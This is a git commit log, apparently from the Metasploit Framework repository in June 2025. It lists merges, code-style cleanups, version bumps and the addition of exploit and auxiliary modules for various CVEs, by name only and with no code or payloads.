adfoster-r7 82018b6c52 Merge pull request #20343 from cgranleese-r7/adds-sentinel-vales-to-modules-without-notes
Adds sentinel values to modules without notes
2025-06-25 09:12:31 +01:00
Spencer McIntyre 6334996e60 Use the smaller base64 encoder 2025-06-24 15:58:17 -04:00
Spencer McIntyre cf48211910 Update the RBCD module to use the new mixin 2025-06-24 11:27:52 -04:00
Spencer McIntyre 23c85a26fe Add some documentation for the methods 2025-06-24 11:27:52 -04:00
Spencer McIntyre b8ecd50f32 Add and use a generic LDAP entry cache 2025-06-24 11:27:52 -04:00
Spencer McIntyre cf53956128 Add a method to get domain info 2025-06-24 11:27:52 -04:00
Spencer McIntyre 7b1af9fc09 Initial implementation of #adds_sd_grants_permissions? 2025-06-24 11:27:52 -04:00
Spencer McIntyre 70f7dfebc3 Initial commit of AD DS LDAP mixin 2025-06-24 11:27:52 -04:00
Spencer McIntyre 475760a108 Add helper methods for ace type checks 2025-06-24 11:27:52 -04:00
DevBuiHieu e198cf635f Merge pull request #2 from msutovsky-r7/collab/webdav_working_dir_exploit
Minor code changes, updates documentation
2025-06-24 21:43:43 +07:00
Martin Sutovsky 13cd2d2e51 Minor code changes, updates documentation 2025-06-24 16:22:42 +02:00
msutovsky-r7 a67c883e0c Removes unnecessary header
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-06-24 15:48:38 +02:00
Spencer McIntyre 12245519f5 Merge pull request #20206 from adfoster-r7/update-mettle
Update mettle 1.0.42
2025-06-24 08:49:25 -04:00
DevBuiHieu fa0d01f55c Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-24 19:24:06 +07:00
DevBuiHieu 78f982e133 Merge pull request #1 from msutovsky-r7/collab/webdav_working_dir_exploit
Internet Shortcut UNC Module Upgrade
2025-06-24 18:33:19 +07:00
cgranleese-r7 30c15535b4 Adds a check to skip modules with execellent ranking and sentinel values 2025-06-24 12:13:08 +01:00
cgranleese-r7 a454217bd4 Update info -d markdown 2025-06-24 11:21:49 +01:00
Martin Sutovsky dd6bb2c8dc Remove debug statements 2025-06-24 12:10:46 +02:00
Martin Sutovsky 3d9cc6063d Adds SMB server to send payload 2025-06-24 12:10:19 +02:00
sfewer-r7 14191f6166 use Base64.strict_encode64 2025-06-24 10:16:49 +01:00
sfewer-r7 edea803c75 add in references 2025-06-24 10:14:59 +01:00
Chocapikk 17b67dfbca Add warning message before execution 2025-06-24 10:10:58 +02:00
Martin Sutovsky 6aa24a0762 Adds researchers in author section, base for WebDAV server 2025-06-23 15:38:09 +02:00
cgranleese-r7 37388ca1be Adds sentinel values to modules missing notes 2025-06-23 12:24:58 +01:00
adfoster-r7 0972888802 Update Mettle 1.0.42 2025-06-23 11:58:29 +01:00
adfoster-r7 4c4a864b06 Merge pull request #20326 from 00nx/patch-1
Add total number of currently defined aliases
2025-06-23 11:28:02 +01:00
adfoster-r7 be8864fe84 Merge pull request #20339 from bcoles/exploit-windows-fileformat-ms_visual_basic_vbp
exploit/windows/fileformat/ms_visual_basic_vbp: Add offsets, cleanup, document
2025-06-23 10:41:14 +01:00
cgranleese-r7 b16732c3bf Updates enforce notes rubocop rule to add notes to modules that are missing notes 2025-06-23 10:40:02 +01:00
bcoles b483312eca Modules: Convert SSL default option to Boolean in several modules 2025-06-23 19:38:36 +10:00
adfoster-r7 8c2d0f50bc Merge pull request #20342 from cgranleese-r7/runs-trailing-comma-in-arguements-rubocop-on-modules
Runs Style/TrailingCommaInArguments Rubocop against modules
2025-06-23 10:02:57 +01:00
cgranleese-r7 ade9b54d94 Runs Style/TrailingCommaInArguments Rubocop against modules 2025-06-23 09:30:35 +01:00
Martin Sutovsky ca142599e8 Module init 2025-06-23 10:27:27 +02:00
msutovsky-r7 b37b6487e3 Land #20340, adds documentation and cleans up exploit/windows/browser/ms08_070_visual_studio_msmask
exploit/windows/browser/ms08_070_visual_studio_msmask: Cleanup and add documentation
2025-06-23 08:05:22 +02:00
adfoster-r7 51e71dc754 Merge pull request #20332 from todb/update-module-counter
Update module counter
2025-06-22 23:13:32 +01:00
bcoles e1dec29ef9 exploit/windows/browser/ms08_070_visual_studio_msmask: Cleanup and add documentation 2025-06-23 00:38:44 +10:00
bcoles c0baf1888b exploit/windows/fileformat/ms_visual_basic_vbp: Add offsets, cleanup, document 2025-06-23 00:11:54 +10:00
adfoster-r7 b8c375d087 Merge pull request #20337 from bcoles/exploit-linux-http-opentsdb_key_cmd_injection
opentsdb_key_cmd_injection: Set Arch to ARCH_CMD
2025-06-22 14:51:04 +01:00
adfoster-r7 17125b492a Merge pull request #20335 from bcoles/rubocop-Lint/DetectMetadataTrailingLeadingWhitespace
Rubocop: Lint/DetectMetadataTrailingLeadingWhitespace: Except BadChars
2025-06-22 14:36:07 +01:00
Chocapikk 2a008c83d1 Add auxiliary and exploit modules for Xorcom CompletePBX 5.2.35 CVEs (2025-2292, 30004, 30005, 30006) 2025-06-22 09:07:20 +02:00
bcoles cede07596f opentsdb_key_cmd_injection: Set Arch to ARCH_CMD 2025-06-22 12:39:04 +10:00
bcoles 8ab259122e Land #20336: opennms_horizon_authenticated_rce: Set Arch to ARCH_CMD 2025-06-22 12:31:22 +10:00
Ahmed Ezzat 0307bab692 Update opennms_horizon_authenticated_rce.rb
Fix Arch
2025-06-21 20:37:33 +03:00
bcoles e65532a7fc Rubocop: Lint/DetectMetadataTrailingLeadingWhitespace: Except BadChars 2025-06-21 21:31:33 +10:00
Muzaffer Umut ŞAHİN 539514b3b6 Add payload/linux/x64/set_hostname module.
This payload sets the hostname of a Linux x64 machine by using the sethostname syscall.
2025-06-21 04:41:30 -04:00
Tod Beardsley 81cb85eef0 Make msfbase actually do something useful
Signed-off-by: Tod Beardsley <todb@hugesuccess.org>
2025-06-20 13:05:11 -05:00
Tod Beardsley 21e093a41f Slightly better module popularity counter
Signed-off-by: Tod Beardsley <todb@hugesuccess.org>
2025-06-20 12:41:08 -05:00
adfoster-r7 04a6185f3a Merge pull request #20329 from cgranleese-r7/runs-layout-rubocop-on-modules
Runs Rubocop to fix layout in modules
2025-06-20 16:59:31 +01:00
sfewer-r7 83a03efa3b aux module for CVE-2024-51978 2025-06-20 16:41:39 +01:00
cgranleese-r7 a4b14d8b64 Runs Rubocop to fix layout in modules 2025-06-20 15:18:01 +01:00
adfoster-r7 7208c10f37 Merge pull request #20330 from cgranleese-r7/fixes-conditional
Fixes issues in a few modules
2025-06-20 15:09:49 +01:00
cgranleese-r7 42f31c0fce Fixes some conditionals in modules 2025-06-20 14:57:03 +01:00
Martin Sutovsky 2122a34514 Removes overlooked file 2025-06-20 12:54:30 +02:00
adfoster-r7 b0dbe03544 Merge pull request #20315 from cgranleese-r7/adds-rubocop-rule-to-detect-module-metadata-whitespace
Adds Rubocop rule to detect leading/trailing whitespace in module metadata
2025-06-20 00:22:42 +01:00
adfoster-r7 6d897eaeac Merge pull request #20327 from cgranleese-r7/update-vulns-command
Update `vulns` command
2025-06-20 00:21:51 +01:00
Martin Sutovsky be394b7062 Adding PPC64 template, fixing PPC64 single payloads 2025-06-19 17:23:15 +02:00
Martin Sutovsky 00852f4682 Adding PPC64 template, fixing PPC64 single payloads 2025-06-19 17:17:19 +02:00
cgranleese-r7 65ed80f5b0 Add flag to vuln command to show vuln attempts 2025-06-19 16:06:25 +01:00
DevBuiHieu dd51952b67 Update cve_2025_33053.rb 2025-06-19 21:32:34 +07:00
cgranleese-r7 9eef0cf13f Adds Rubocop rule to detect leading/trailing whitespace in module metadata 2025-06-19 15:10:27 +01:00
DevBuiHieu f3c4d9519f Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:57:08 +07:00
DevBuiHieu a0f1b0c5b3 Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:53:49 +07:00
DevBuiHieu efc0c2539d Update cve_2025_33053.rb 2025-06-19 19:53:22 +07:00
DevBuiHieu 600ffdb9b9 Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:44:35 +07:00
DevBuiHieu 4fde40a96b Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:43:56 +07:00
Diego Ledda c0dfbf43f2 Merge pull request #20235 from Chocapikk/vbulletin_replace_ad_template_rce
vBulletin replaceAdTemplate Remote Code Execution
2025-06-19 14:20:16 +02:00
Metasploit 5ff0588554 Bump version of framework to 6.4.71 2025-06-19 03:33:21 -05:00
trauma b1e1fbcc97 alias.rb 2025-06-18 21:43:11 +05:30
DevBuiHieu 1d27be2c1d Final code for CVE-2025-33053 exploit module 2025-06-18 03:53:08 -04:00
DevBuiHieu ec5ba0bd0d Final code for CVE-2025-33053 exploit module 2025-06-17 23:03:36 -04:00
DevBuiHieu 20b8a9fcd3 Add some features and fix bugs for CVE-2025-33053 exploit module 2025-06-17 22:59:34 -04:00
DevBuiHieu 58609f3ff9 Add some features and fix bugs for CVE-2025-33053 exploit module 2025-06-17 22:32:57 -04:00
DevBuiHieu cb7badbfad Add some features and fix bugs for CVE-2025-33053 exploit module 2025-06-17 21:41:44 -04:00
DevBuiHieu fda69e0a74 Add some features and fix all errors for CVE-2025-33053 exploit module 2025-06-17 11:15:09 -04:00
dwelch-r7 ab2c693f04 Merge pull request #20320 from rapid7/revert-20109-rails-7.2-upgrade
Revert "Bump rails version to 7.2"
2025-06-17 12:25:03 +01:00
adfoster-r7 fb02b4ade5 Revert "Bump rails version to 7.2" 2025-06-17 12:20:49 +01:00
adfoster-r7 04c368f9de Merge pull request #20109 from dwelch-r7/rails-7.2-upgrade
Bump rails version to 7.2 [WIP]
2025-06-17 10:43:11 +01:00
DevBuiHieu 20629fe6b8 Add some features and fix all errors for CVE-2025-33053 exploit module 2025-06-17 02:49:10 -04:00
DevBuiHieu 9e5dd0962a Add some features and delete old files for CVE-2025-33053 exploit module 2025-06-17 01:32:07 -04:00
DevBuiHieu 7ad7c62f03 Add some features and delete old files for CVE-2025-33053 exploit module 2025-06-17 01:20:09 -04:00
DevBuiHieu 540d18126d Add some features and delete old files for CVE-2025-33053 exploit module 2025-06-17 01:11:16 -04:00
DevBuiHieu f81ddf82f1 Add some features for CVE-2025-33053 exploit module 2025-06-17 01:00:35 -04:00
Martin Sutovsky 776379876d Fixing check method 2025-06-16 16:00:14 +02:00
adfoster-r7 a02dff9bb5 Merge pull request #20302 from dwelch-r7/enable-defer-module-loads
Enable defer module loads by default
2025-06-16 11:02:31 +01:00
jenkins-metasploit 580e2b3211 automatic module_metadata_base.json update 2025-06-15 21:50:54 +00:00
adfoster-r7 97b84b033f Merge pull request #20309 from bcoles/rubocop-modules-exploits-linux-samba
modules/exploits/linux/samba: Resolve RuboCop violations
2025-06-15 22:42:56 +01:00
adfoster-r7 ed2d6cdda6 Merge pull request #20312 from bcoles/rubocop-lib-msf-module-platform_list
Msf::Module::PlatformList: Resolve RuboCop violations
2025-06-15 22:37:53 +01:00
bcoles 682a4b46e0 Msf::Module::PlatformList: Resolve RuboCop violations 2025-06-15 23:27:50 +10:00
adfoster-r7 b0ef381e02 Merge pull request #20313 from bcoles/rubocop-Style/FormatStringToken
Rubocop: Disable Style/FormatStringToken
2025-06-15 13:00:11 +01:00
bcoles 52010861b6 Rubocop: Disable Style/FormatStringToken 2025-06-15 16:31:16 +10:00
bcoles 91d3675c3b modules/exploits/linux/samba: Resolve RuboCop violations 2025-06-15 00:09:09 +10:00
DevBuiHieu 98389f2889 Add module documentation for CVE-2025-33053 URL generator 2025-06-13 20:35:38 -04:00
DevBuiHieu 1846aca52e Add auxiliary module for CVE-2025-33053 .url file generator 2025-06-13 11:15:29 -04:00
DevBuiHieu d3145f792e Add auxiliary module for CVE-2025-33053 .url file generator 2025-06-13 11:14:04 -04:00
DevBuiHieu 9d52a2b11c Add auxiliary module for CVE-2025-33053 .url file generator 2025-06-13 20:02:45 +07:00
Martin Sutovsky 4fe750a946 Removing redundant comment 2025-06-13 10:33:58 +02:00
Martin Sutovsky 3abe9b46c0 Addressing comments 2025-06-13 10:32:39 +02:00
Dean Welch 39356d55e0 Fix migration date issues when running tests 2025-06-12 16:41:10 +01:00
Dean Welch 4c2eeee4a7 Remove debug output 2025-06-12 16:41:10 +01:00
Dean Welch 62f357207c Minor bug fixes 2025-06-12 16:41:10 +01:00
Dean Welch 640d992519 Add rpc debugging 2025-06-12 16:41:10 +01:00
Dean Welch b87ef99cd8 Bump rails version to 7.2 2025-06-12 16:41:10 +01:00
jenkins-metasploit b39d45c205 automatic module_metadata_base.json update 2025-06-12 14:03:39 +00:00
adfoster-r7 e4feb4f581 Merge pull request #20305 from cgranleese-r7/fix-duplicate-notes
Fixes duplicate notes in a couple of modules
2025-06-12 14:55:19 +01:00
cgranleese-r7 1c72a3adc3 Fixes duplicate notes in a couple of modules 2025-06-12 14:32:12 +01:00
jenkins-metasploit 86a321f53d automatic module_metadata_base.json update 2025-06-12 13:30:27 +00:00
msutovsky-r7 663cf4af24 Land #20303, resolves Rubocop violations in modules/exploits/linux/postgres
modules/exploits/linux/postgres: Resolve RuboCop violations
2025-06-12 15:20:05 +02:00
msutovsky-r7 b8dff5e701 Land #20304, resolves Rubocop violations in modules/exploits/linux/pptp
modules/exploits/linux/pptp: Resolve RuboCop violations
2025-06-12 15:13:29 +02:00
bcoles bf68b56f88 modules/exploits/linux/pptp: Resolve RuboCop violations 2025-06-12 21:14:25 +10:00
bcoles e0e5e4157a modules/exploits/linux/postgres: Resolve RuboCop violations 2025-06-12 21:03:41 +10:00
Dean Welch 32b978d768 Enable defer module loads by default 2025-06-12 10:59:54 +01:00
msutovsky-r7 2e3b66612b Update modules/exploits/multi/http/wp_tatsu_rce.rb 2025-06-12 11:38:01 +02:00
msutovsky-r7 cb9f5e8743 Update modules/exploits/multi/http/wp_tatsu_rce.rb 2025-06-12 11:35:01 +02:00
Metasploit 7e88b53da1 Bump version of framework to 6.4.70 2025-06-12 04:04:12 -05:00
jenkins-metasploit 52c5343ff7 automatic module_metadata_base.json update 2025-06-11 21:32:04 +00:00
adfoster-r7 3f69bcb3c9 Merge pull request #20300 from zeroSteiner/fix/mod/smb-version/win-ver
Fix a regression in Windows version fingerprinting
2025-06-11 22:23:57 +01:00
Martin Sutovsky 0b2e4bc337 Adds module for CVE-2021-25094 2025-06-11 19:03:00 +02:00
Spencer McIntyre 8efbfc0608 Fix a regression in Windows version fingerprinting 2025-06-11 11:56:56 -04:00
jenkins-metasploit 35f770997a automatic module_metadata_base.json update 2025-06-11 08:57:20 +00:00
msutovsky-r7 f2920f868a Land #20291, adds Roundcube post-authentication RCE (CVE-2025-49113)
Add Remote for Roundсube CVE-2025-49113 post-authentication RCE module
2025-06-11 10:48:58 +02:00
Maksim Rogov 582e32c14e remove timeout 2025-06-11 11:05:33 +03:00
jenkins-metasploit ac6402993f automatic module_metadata_base.json update 2025-06-11 05:39:50 +00:00
msutovsky-r7 a175e89d07 Land #20299, converts DisableNops to Boolean
Modules: Convert DisableNops property to Boolean in several modules
2025-06-11 07:31:53 +02:00
jenkins-metasploit db022164de automatic module_metadata_base.json update 2025-06-10 16:23:06 +00:00
msutovsky-r7 1ad158cd4c Land #20297, converts Privileged property to Bool
Modules: Convert Privileged property to Boolean in several modules
2025-06-10 18:15:16 +02:00
bcoles 3272ee0f28 Modules: Convert DisableNops property to Boolean in several modules 2025-06-10 23:57:52 +10:00
jenkins-metasploit f122e72feb automatic module_metadata_base.json update 2025-06-10 13:36:04 +00:00
adfoster-r7 4e41af23b5 Merge pull request #20296 from bcoles/rubocop-modules-exploits-linux-ftp
modules/exploits/linux/ftp: Resolve RuboCop violations
2025-06-10 14:27:45 +01:00
bcoles 304de9e1c9 Modules: Convert Privileged property to Boolean in several modules 2025-06-10 23:01:52 +10:00
bcoles f95f5c928e modules/exploits/linux/ftp: Resolve RuboCop violations 2025-06-10 22:36:46 +10:00
Maksim Rogov 8fe5c91801 fix parsing.rb 2025-06-10 14:29:39 +03:00
Maksim Rogov 10ab54369d Update modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-10 14:18:44 +03:00
Maksim Rogov 97c493a924 Update modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-10 14:17:55 +03:00
Vognik d764237230 migrated to nokogiri methods for csrf token parsing 2025-06-10 14:54:09 +04:00
Maksim Rogov 5725e6faf7 Apply suggestions from code review
Co-authored-by: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com>
2025-06-10 11:09:05 +03:00
jenkins-metasploit b6ed7f0970 automatic module_metadata_base.json update 2025-06-09 21:19:34 +00:00
adfoster-r7 899840c208 Merge pull request #20295 from bwatters-r7/fix/thinmanager-spaces
Fix some spacing issues
2025-06-09 22:11:25 +01:00
Maksim Rogov ed643c3bc6 Update roundcube_auth_rce_cve_2025_49113.md 2025-06-09 18:42:52 +03:00
Vognik 072ebafbcf fix naming 2025-06-09 19:32:31 +04:00
Vognik 46a36c9d4c refactor: update code per review 2025-06-09 19:28:38 +04:00
bwatters-r7 b1d5319fcb Fix some spacing inssues 2025-06-09 09:17:11 -05:00
jenkins-metasploit 12d4527bdc automatic module_metadata_base.json update 2025-06-09 13:46:50 +00:00
Spencer McIntyre 6f7064f8f0 Merge pull request #20293 from Chocapikk/easter-egg
Add Mr. Robot Easter egg
2025-06-09 09:37:49 -04:00
jenkins-metasploit b7f381d8b1 automatic module_metadata_base.json update 2025-06-09 12:50:23 +00:00
Brendan ebae201198 Merge pull request #20160 from zeroSteiner/feat/mod/payload/php-adapters
Add PHP adapters and refactor PHP payloads
2025-06-09 07:41:50 -05:00
jenkins-metasploit 5d61c5271e automatic module_metadata_base.json update 2025-06-08 14:11:56 +00:00
msutovsky-r7 f20e72b6c8 Land #20256, adds RCE module for Remote For Mac 2025.7
Add Remote for Mac 2025.6 unauthenticated RCE module
2025-06-08 16:03:58 +02:00
jenkins-metasploit dbefbe0296 automatic module_metadata_base.json update 2025-06-08 13:57:36 +00:00
msutovsky-r7 3e1bca072a Land #20290, fixes space in CVE number
Fix errant space in CVE number
2025-06-08 15:48:58 +02:00
Martin Sutovsky 6105b99465 Fixed response parsing 2025-06-08 15:36:37 +02:00
Martin Sutovsky 16541d9f64 Fixes notes 2025-06-08 12:17:58 +02:00
Martin Sutovsky c9713a7184 Code reformat, rubocoping 2025-06-08 12:06:33 +02:00
Maksim Rogov 01f16ea802 Minor Fixes.rb 2025-06-08 12:47:08 +03:00
Maksim Rogov c63649a12d Update roundcube_auth_rce_cve_2025_49113.rb 2025-06-08 01:21:31 +03:00
Vognik f43e8863ad refactor: update code per review 2025-06-08 02:14:53 +04:00
Maksim Rogov 442b5aadf3 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-06-07 23:26:03 +03:00
adfoster-r7 18c21f1ea6 Merge pull request #20170 from bcoles/msf-module-uuid
Msf::Module::UUID: Generate UUID using UUID_CHARS.sample(8).join
2025-06-07 19:59:55 +01:00
root 8b1113d225 Update: Improved RCE detection logic and payload options for Remote for Mac 2025.6 2025-06-07 17:52:45 +01:00
Chocapikk ff802129c1 Add Mr. Robot Easter egg 2025-06-07 17:55:17 +02:00
bcoles ffcc145ccc Msf::Module::UUID: Generate UUID using UUID_CHARS.sample(8).join 2025-06-08 00:24:27 +10:00
bcoles aed00d1ff7 Msf::Module: Lazy-load module instance UUID 2025-06-08 00:15:04 +10:00
Maksim Rogov d97b09a898 Rename roundcube_unauth_rce_cve_2025_49113.md to roundcube_auth_rce_cve_2025_49113.md 2025-06-07 16:46:30 +03:00
Maksim Rogov 0426d3cb4f Rename roundcube_unauth_rce_cve_2025_49113.rb to roundcube_auth_rce_cve_2025_49113.rb 2025-06-07 16:14:28 +03:00
Maksim Rogov 906ba4fba2 Update roundcube_unauth_rce_cve_2025_49113.rb 2025-06-07 13:58:37 +03:00
Maksim Rogov bd811a3cd1 Update roundcube_unauth_rce_cve_2025_49113.md 2025-06-07 04:45:54 +03:00
Vognik a4638ad632 Update Documentation 2025-06-07 05:35:18 +04:00
Vognik 96d7929972 Add Documentation for Roundcube CVE-2025-49113 unauthenticated RCE module 2025-06-07 05:28:45 +04:00
Vognik b83b021445 Add Remote for Roundcube CVE-2025-49113 unauthenticated RCE module 2025-06-07 05:28:21 +04:00
Corey a5e30153e8 Add default arch_cmd target 2025-06-06 12:06:17 -04:00
bwatters-r7 8f2b364e7b Fix errant space in CVE number 2025-06-06 10:06:21 -05:00
jenkins-metasploit d553aa6f0d automatic module_metadata_base.json update 2025-06-06 12:45:11 +00:00
msutovsky-r7 0f522220d4 Land #20072, adds Maldoc in PDF fileformat module
Add Maldoc in PDF polyglot fileformat module
2025-06-06 14:36:24 +02:00
msutovsky-r7 ab57ec105a Land #20264, adds processing of KERB-SUPERSEDED-BY-USER error message
Process and propagate KERB-SUPERSEDED-BY-USER error details
2025-06-06 13:59:09 +02:00
jenkins-metasploit e3206fb88a automatic module_metadata_base.json update 2025-06-05 21:52:28 +00:00
Spencer McIntyre a1e3a23eb4 Merge pull request #20262 from bwatters-r7/fix/vcenter_vmdir_gather
Fix references to LDAP Datastore Options
2025-06-05 17:44:21 -04:00
bwatters-r7 02a9eb3233 Update rescue clauses and rubocop 2025-06-05 16:33:42 -05:00
jenkins-metasploit 56dbd91168 automatic module_metadata_base.json update 2025-06-05 17:16:15 +00:00
Spencer McIntyre 66a9f332b1 Merge pull request #20283 from cdelafuente-r7/fix/20249/ldap/certifried
Fix the cve_2022_26923_certifried module after the datastore option changes
2025-06-05 13:08:06 -04:00
jenkins-metasploit e7bde75f57 automatic module_metadata_base.json update 2025-06-05 16:11:11 +00:00
Brendan 19e8e6cdf8 Merge pull request #20187 from Chocapikk/wp_ottokit
Add CVE-2025-27007 in existing `exploit(multi/http/wp_suretriggers_auth_bypass)` module
2025-06-05 11:03:00 -05:00
Spencer McIntyre 0a280ae800 Merge pull request #19996 from hantwister/patch-1
Detect the CxUIUSvcChannel named pipe
2025-06-05 11:56:50 -04:00
adfoster-r7 2042fa6f27 Merge pull request #20288 from bcoles/rubocop-Style/RedundantParentheses
Rubocop: Disable Style/RedundantParentheses
2025-06-05 16:20:26 +01:00
jenkins-metasploit a18d284fb4 automatic module_metadata_base.json update 2025-06-05 15:18:07 +00:00
Brendan cc98ef58d4 Merge pull request #20140 from h4x-x0r/CVE-2023-2915
ThinManager Path Traversal Delete (CVE-2023-2915) Module
2025-06-05 10:08:42 -05:00
Spencer McIntyre 602212fe9c Merge pull request #20282 from SweilemCodes/docs/Jenkins_enum
Jenkins Enum Documentation Added
2025-06-05 10:50:39 -04:00
Spencer McIntyre 166db38e67 Add missing newlines to render the markdown properly 2025-06-05 10:49:47 -04:00
bcoles 7df255f4cd Rubocop: Disable Style/RedundantParentheses 2025-06-06 00:27:20 +10:00
Metasploit f2b2fe4f60 Bump version of framework to 6.4.69 2025-06-05 05:56:26 -05:00
Metasploit 7434581e1c Bump version of framework to 6.4.68 2025-06-05 04:47:54 -05:00
h4x-x0r 2425eb08d2 Update thinmanager_traversal_delete.rb 2025-06-05 02:57:40 +01:00
jenkins-metasploit 958ae5b87e automatic module_metadata_base.json update 2025-06-04 21:56:31 +00:00
Brendan 312d052a5c Merge pull request #20141 from h4x-x0r/CVE-2023-2917
ThinManager Path Traversal Upload (CVE-2023-2917) Module
2025-06-04 16:48:39 -05:00
jenkins-metasploit bd5d47034e automatic module_metadata_base.json update 2025-06-04 19:11:19 +00:00
Brendan 2a7f40dcc9 Merge pull request #20139 from h4x-x0r/CVE-2023-27856
ThinManager Path Traversal Download (CVE-2023-27856) Module
2025-06-04 14:03:21 -05:00
h4x-x0r 53145d7a65 Update thinmanager_traversal_download.rb 2025-06-04 19:18:43 +01:00
jenkins-metasploit bd8eadb3aa automatic module_metadata_base.json update 2025-06-04 17:49:24 +00:00
Brendan 10d443d5d9 Merge pull request #20138 from h4x-x0r/CVE-2023-27855
ThinManager Path Traversal Upload (CVE-2023-27855) Module
2025-06-04 12:41:34 -05:00
jenkins-metasploit 856eb18434 automatic module_metadata_base.json update 2025-06-04 14:21:27 +00:00
Brendan 8e4890fbc0 Merge pull request #20286 from msutovsky-r7/fix/add_priority_udev_persistence
Adds different udev rule naming for udev persistence
2025-06-04 09:08:49 -05:00
Brendan 26156dfac2 Merge pull request #20265 from remmons-r7/cve_2025_4427_4428
Exploit module for CVE-2025-4427/CVE-2025-4428 - Ivanti EPMM (AKA MobileIron Core) Authentication Bypass to EL Injection
2025-06-04 09:05:04 -05:00
remmons-r7 97f308386b Update documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md
Update docs to reflect the new Python payload approach

Co-authored-by: Brendan <bwatters@rapid7.com>
2025-06-04 08:30:11 -05:00
Martin Sutovsky f7fd84b82d Adds different approach to udev rule naming 2025-06-04 15:24:43 +02:00
adfoster-r7 66c1dac7c6 Merge pull request #20277 from adfoster-r7/update-ruby-3.2.8
Update ruby version 3.2.8
2025-06-04 13:52:44 +01:00
jenkins-metasploit 99a616e657 automatic module_metadata_base.json update 2025-06-04 11:28:53 +00:00
msutovsky-r7 5fbf46ba7f Land #19472, adds exploits/linux/local/udev_persistence
Add modules/exploits/linux/local/udev_persistence.rb
2025-06-04 13:21:04 +02:00
Martin Sutovsky 6806385292 Update 2025-06-04 12:56:51 +02:00
Martin Sutovsky 0d31440722 Update the module 2025-06-04 12:19:36 +02:00
Christophe De La Fuente b488403c73 Fix cve_2022_26923_certifried module after the datastore option changes 2025-06-04 11:22:26 +02:00
RAMELLA Sébastien 144cfd2d42 Update maldoc_in_pdf_polyglot.rb 2025-06-04 12:33:22 +04:00
RAMELLA Sébastien b9731f8907 Update modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-04 12:30:09 +04:00
Theo Sweilem ff78d179a3 Edited jenkins_enum Documentation 2025-06-03 23:36:13 -07:00
msutovsky-r7 257f6dbbe1 Land #20263, adds registration of VulnAttempts for Exploit/Auxiliary modules
Register VulnAttempts for both Exploit and Auxiliary modules
2025-06-04 08:27:17 +02:00
Theo Sweilem ac4e574eea Added jenkins_enum Documentation 2025-06-03 23:25:15 -07:00
jenkins-metasploit 3b67e551ce automatic module_metadata_base.json update 2025-06-03 20:42:08 +00:00
Spencer McIntyre da97d5c2b3 Merge pull request #20281 from JohannesLks/fix(post/windows/manage/remove_host--hard-coded-hosts-file-path-causes-failure-when-%SystemRoot%-=!-C--Windows)
post/windows/manage/remove_host: resolve hosts-file path dynamically instead of hard-coded C:\Windows
2025-06-03 16:34:23 -04:00
remmons-r7 6c8394ca00 Merge pull request #3 from bwatters-r7/collab/20265
Switch to in-memory python over fetch payloads
2025-06-03 13:47:19 -05:00
bwatters-r7 17bf77fca1 Switch to in-memory python over fetch payloads 2025-06-03 13:39:01 -05:00
Lukas Johannes Möller 39bbf4ba05 fix #20280 2025-06-03 19:51:16 +02:00
jenkins-metasploit c23c848d2e automatic module_metadata_base.json update 2025-06-03 17:15:02 +00:00
Simon Janusz 1e98d3ffca Merge pull request #20218 from jheysel-r7/fix/crawler_canonicalize_method
Improve canonicalize method in msfcrawler.rb
2025-06-03 18:07:07 +01:00
jenkins-metasploit f45e08097c automatic module_metadata_base.json update 2025-06-03 16:54:38 +00:00
Simon Janusz d497156f84 Merge pull request #20258 from zeroSteiner/fix/issue/20251
Update the ldap options for shadow credentials
2025-06-03 17:45:18 +01:00
Simon Janusz 043f8cb6b4 Merge pull request #20260 from zeroSteiner/fix/issue/20252
Update the ldap/change_password module
2025-06-03 17:44:26 +01:00
Spencer McIntyre 3057f80a1b Update the ldap options for shadow credentials 2025-06-03 12:29:04 -04:00
jenkins-metasploit dd166b4d49 automatic module_metadata_base.json update 2025-06-03 14:03:03 +00:00
Spencer McIntyre 2476ce52d8 Merge pull request #20273 from JohannesLks/fix/post-windows-manage-remove-host-20157
fix(post/windows/manage/remove_host): handle whitespace parsing robustly
2025-06-03 09:55:06 -04:00
Spencer McIntyre c4f2b9e070 Merge pull request #20278 from cdelafuente-r7/fix/spec/krb5_ccache_presenter
Fix krb5_ccache_presenter specs
2025-06-03 09:37:11 -04:00
Christophe De La Fuente adecc23728 Set time to localtime 2025-06-03 14:35:44 +02:00
Christophe De La Fuente f5161ea9e1 Code Review 2025-06-03 14:27:20 +02:00
adfoster-r7 da9b9ca64d Update ruby version 3.2.8 2025-06-03 11:20:13 +01:00
Lukas Johannes Möller d9e96f91ca see https://github.com/rapid7/metasploit-framework/pull/20273#issuecomment-2932671250 2025-06-03 11:21:07 +02:00
jenkins-metasploit ae1db09f32 automatic module_metadata_base.json update 2025-06-03 07:53:41 +00:00
cgranleese-r7 d8c7c5049d Merge pull request #19900 from jvoisin/aka_equationgroup
Add Notes->AKA for EquationGroup codenames
2025-06-03 08:45:54 +01:00
jenkins-metasploit 4836243f1a automatic module_metadata_base.json update 2025-06-02 22:06:52 +00:00
Spencer McIntyre 18fbf3d656 Merge pull request #20275 from msutovsky-r7/fix/sap_router_info_failure
Fixes bug in auxiliary/scanner/sap/sap_router_info_request
2025-06-02 17:57:39 -04:00
Julien Voisin 486390d881 Update ms10_061_spoolss.rb 2025-06-02 20:45:44 +02:00
